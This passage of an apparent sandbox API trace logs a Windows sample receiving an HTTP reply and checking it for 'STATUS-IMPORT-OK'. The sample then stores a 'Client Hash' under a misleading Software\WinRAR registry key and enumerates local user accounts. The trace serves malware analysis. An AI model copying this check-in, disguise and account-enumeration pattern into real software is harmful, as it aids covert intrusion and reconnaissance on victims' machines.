exceptfds=0x0) returned 1 [0055.519] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.519] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.519] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.519] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.519] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.519] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.519] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.519] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.519] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.519] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.519] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.519] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.519] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.519] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.520] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.520] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.520] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.520] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.520] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.520] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.520] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.520] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.520] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.520] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.520] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.520] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.520] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.520] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.520] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.520] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.520] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.520] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.520] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.520] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.520] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.520] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.520] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.520] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.520] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.520] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.520] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.520] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.520] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.520] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.521] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.521] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.521] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.521] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.521] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.521] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.521] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.521] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.521] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.521] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.521] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.521] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.521] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.521] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.521] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.521] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.521] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.521] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.521] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.521] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.522] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.522] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.522] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.522] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.522] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.522] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.522] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.522] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.522] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.522] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.522] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.522] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.522] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.522] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.522] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.522] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.522] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.522] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.522] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.522] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.522] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.522] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.522] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.522] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.522] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.522] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.522] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.522] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.522] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.522] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.523] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.523] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.523] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.523] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.523] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.523] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.523] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.523] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.523] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.523] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.523] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.523] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.523] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.523] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.523] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.523] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.523] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.523] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.523] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.523] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.523] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.523] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.523] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.523] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.523] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.523] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.523] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.523] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.523] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.523] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.524] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.524] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.524] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.524] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.524] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.524] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.524] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.524] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.524] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.524] select (in: nfds=0, readfds=0xefbc8, writefds=0x0, exceptfds=0x0, timeout=0xefbc0 | out: readfds=0xefbc8, writefds=0x0, exceptfds=0x0) returned 1 [0055.524] recv (in: s=0x3e0, buf=0xefce3, len=1, flags=0 | out: buf=0xefce3*) returned 1 [0055.524] IStream:Commit (This=0x76e560, grfCommitFlags=0xefce3) returned 0x0 [0055.524] StrStrIA (lpFirst="HTTP/1.1 200 OK\r\nServer: nginx/1.10.2\r\nDate: Mon, 21 Aug 2017 21:04:42 GMT\r\nContent-Type: text/html\r\nConnection: close\r\nX-Powered-By: PHP/5.4.45\r\n\r\n", lpSrch="Content-Length:") returned 0x0 [0055.524] StrStrIA (lpFirst="HTTP/1.1 200 OK\r\nServer: nginx/1.10.2\r\nDate: Mon, 21 Aug 2017 21:04:42 GMT\r\nContent-Type: text/html\r\nConnection: close\r\nX-Powered-By: PHP/5.4.45\r\n\r\n", lpSrch="Location:") returned 0x0 [0055.524] IStream:LockRegion (This=0x76e560, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0055.524] IStream:Stat (in: This=0x76e560, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0055.524] select (in: nfds=0, readfds=0xef3d0, writefds=0x0, exceptfds=0x0, timeout=0xef3c8 | out: readfds=0xef3d0, writefds=0x0, exceptfds=0x0) returned 1 [0055.524] select (in: nfds=0, readfds=0xef3d0, writefds=0x0, exceptfds=0x0, timeout=0xef3c8 | out: readfds=0xef3d0, writefds=0x0, exceptfds=0x0) returned 1 [0055.524] recv (in: s=0x3e0, buf=0xef4e8, len=2048, flags=0 | out: buf=0xef4e8*) returned 20 [0055.524] IStream:Commit (This=0x76e560, grfCommitFlags=0xef4e8) returned 0x0 [0055.524] select (in: nfds=0, readfds=0xef3d0, writefds=0x0, exceptfds=0x0, timeout=0xef3c8 | out: readfds=0xef3d0, writefds=0x0, exceptfds=0x0) returned 1 [0055.524] recv (in: s=0x3e0, buf=0xef4e8, len=2048, flags=0 | out: buf=0xef4e8) returned 0 [0055.524] CMemStm::Clone () returned 0x0 [0055.525] IUnknown:Release (This=0x76e560) returned 0x0 [0055.525] LocalFree (hMem=0x94158e8) returned 0x0 [0055.525] closesocket (s=0x3e0) returned 0 [0055.525] LocalFree (hMem=0x940e740) returned 0x0 [0055.525] LocalFree (hMem=0x94137d8) returned 0x0 [0055.525] LocalFree (hMem=0x9412750) returned 0x0 [0055.525] LocalFree (hMem=0x9414860) returned 0x0 [0055.525] GlobalUnlock (hMem=0x87b001c) returned 0 [0055.525] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.525] GetHGlobalFromStream (in: pstm=0x76e6f0, phglobal=0xefdd4 | out: phglobal=0xefdd4) returned 0x0 [0055.525] StrStrIA (lpFirst="V\x9e¶2 \x99\x92sø³ìÉz¹\x9a: ñG6", lpSrch="STATUS-IMPORT-OK") returned 0x0 [0055.533] LocalFree (hMem=0x763a18) returned 0x0 [0055.533] GetHGlobalFromStream (in: pstm=0x76e6f0, phglobal=0xefdd4 | out: phglobal=0xefdd4) returned 0x0 [0055.534] LocalFree (hMem=0x763a18) returned 0x0 [0055.534] IStream:LockRegion (This=0x76e6f0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0055.534] GetHGlobalFromStream (in: pstm=0x76e6f0, phglobal=0xefdd4 | out: phglobal=0xefdd4) returned 0x0 [0055.534] StrStrIA (lpFirst="STATUS-IMPORT-OK", lpSrch="STATUS-IMPORT-OK") returned="STATUS-IMPORT-OK" [0055.534] LocalFree (hMem=0x763a18) returned 0x0 [0055.534] IUnknown:Release (This=0x76e6f0) returned 0x0 [0055.534] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", phkResult=0xefdcc | out: phkResult=0xefdcc*=0x3e0) returned 0x0 [0055.534] RegSetValueExA (in: hKey=0x3e0, lpValueName="Client Hash", Reserved=0x0, dwType=0x3, lpData=0xefdf8*, cbData=0x10 | out: lpData=0xefdf8*) returned 0x0 [0055.534] RegCloseKey (hKey=0x3e0) returned 0x0 [0055.534] IUnknown:Release (This=0x7473d8) returned 0x0 [0055.534] NetUserEnum (in: servername=0x0, level=0x3, filter=0x2, bufptr=0xefe04, prefmaxlen=0xffffffff, entriesread=0xefdf4, totalentries=0xefdfc, resume_handle=0xefdf8 | out: bufptr=0x9412750*=([0]=0x9412750*(usri3_name="Administrator", usri3_password=0x0, usri3_password_age=0xcb2b240, usri3_priv=0x2, usri3_home_dir="", usri3_comment="Built-in account for administering the computer/domain", usri3_flags=0x10203, usri3_script_path="", usri3_auth_flags=0x0, usri3_full_name="", usri3_usr_comment="", usri3_parms="", usri3_workstations="", usri3_last_logon=0x4ce89648, usri3_last_logoff=0x0, usri3_acct_expires=0xffffffff, usri3_max_storage=0xffffffff, usri3_units_per_week=0xa8, usri3_logon_hours=0x941672f, usri3_bad_pw_count=0x0, usri3_num_logons=0x6, usri3_logon_server="\\\\*", usri3_country_code=0x0, usri3_code_page=0x0, usri3_user_id=0x1f4, usri3_primary_group_id=0x201, usri3_profile="", usri3_home_dir_drive="", usri3_password_expired=0x0), [1]=0x94127c4*(usri3_name="aDU0VK IWA5kLS", usri3_password=0x0, usri3_password_age=0x4e6bdd, usri3_priv=0x2, usri3_home_dir="", usri3_comment="", usri3_flags=0x10201, usri3_script_path="", usri3_auth_flags=0x0, usri3_full_name="", usri3_usr_comment="", usri3_parms="", usri3_workstations="", usri3_last_logon=0x597871da, usri3_last_logoff=0x0, usri3_acct_expires=0xffffffff, usri3_max_storage=0xffffffff, usri3_units_per_week=0xa8, usri3_logon_hours=0x9416677, usri3_bad_pw_count=0x0, usri3_num_logons=0x11, usri3_logon_server="\\\\*", usri3_country_code=0x1, usri3_code_page=0x4e4, usri3_user_id=0x3e8, usri3_primary_group_id=0x201, usri3_profile="", usri3_home_dir_drive="", usri3_password_expired=0x0), [2]=0x9412838*(usri3_name="Guest", usri3_password=0x0, usri3_password_age=0x0, usri3_priv=0x0, usri3_home_dir="", usri3_comment="Built-in account for guest access to the computer/domain", usri3_flags=0x10263, usri3_script_path="", usri3_auth_flags=0x0, usri3_full_name="", usri3_usr_comment="", usri3_parms="", usri3_workstations="", usri3_last_logon=0x0, usri3_last_logoff=0x0, usri3_acct_expires=0xffffffff, usri3_max_storage=0xffffffff, usri3_units_per_week=0xa8, usri3_logon_hours=0x9416629, usri3_bad_pw_count=0x0, usri3_num_logons=0x0, usri3_logon_server="\\\\*", usri3_country_code=0x0, usri3_code_page=0x0, usri3_user_id=0x1f5, usri3_primary_group_id=0x201, usri3_profile="", usri3_home_dir_drive="", usri3_password_expired=0x0)), entriesread=0xefdf4, totalentries=0xefdfc, resume_handle=0xefdf8) returned 0x0 [0055.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0055.562] LocalAlloc (uFlags=0x40, uBytes=0x81) returned 0x940a908 [0055.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x940a908, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0055.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Administrator", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0055.563] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x76a770 [0055.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Administrator", cchWideChar=-1, lpMultiByteStr=0x76a770, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Administrator", lpUsedDefaultChar=0x0) returned 14 [0055.563] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76aa68 [0055.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0055.563] LocalAlloc (uFlags=0x40, uBytes=0x81) returned 0x940a998 [0055.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x940a998, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0055.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aDU0VK IWA5kLS", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0055.563] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a938 [0055.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aDU0VK IWA5kLS", cchWideChar=-1, lpMultiByteStr=0x76a938, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aDU0VK IWA5kLS", lpUsedDefaultChar=0x0) returned 15 [0055.563] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x76a9d0 [0055.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0055.563] LocalAlloc (uFlags=0x40, uBytes=0x81) returned 0x940aa28 [0055.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x940aa28, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0055.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Guest", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 